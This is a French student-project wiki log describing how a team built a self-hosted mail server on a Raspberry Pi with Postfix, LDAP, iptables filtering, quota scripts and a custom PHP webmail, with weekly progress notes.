Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

Côté serveur :
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de lister les groupes existants : OK
* Création d'une fonction permettant de créer/supprimer un groupe : OK

Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.

Côté serveur :
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans <code>master.cf</code> :
mailrte unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient
Pas de grande nouveauté ici. Dans le fichier <code>main.cf</code> :
virtual_transport = mailrte

Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.

===Semaine 20 (15/02/2016)===
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.

Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).

Corrections de bogues d'encodage des mails entre ISO et UTF8.

Travail sur la création d'un paquet Debian.

===Semaine 21 (22/02/2016)===

* Tournage de la vidéo du projet avec Laurent Engels du service Communication
* Fin de la rédaction du rapport final de PFE
* Rédaction du diaporama de présentation orale du PFE

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)

Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]

Code Perl du script pour Postfix : [http:/// Hold on a second]

Fichier de configuration (Postfix/Lighttpd) fonctionnels : [http://http://projets-imasc.plil.net/mediawiki/images/1/11/Config_intimail.zip Config Postfix+Lighttpd]

Guide d'installation (version seule, déjà inclus dans le rapport final) : [http://projets-imasc.plil.net/mediawiki/images/e/e0/Readme-Intimail.pdf Guide d'installation]

Fichier:Config intimail.zip

2016-02-23T10:48:19Z

Tteneur : Fichiers de configuration utilisés pour Lighttpd et Postfix. Référez vous au guide d'installation pour tout détail supplémentaire. La configuration ansi que les schémas LDAP se situent dans l'archive du code des scripts.

Fichiers de configuration utilisés pour Lighttpd et Postfix. Référez vous au guide d'installation pour tout détail supplémentaire. La configuration ansi que les schémas LDAP se situent dans l'archive du code des scripts.

P9 Système d'hébergement domestique

2016-02-23T10:37:32Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

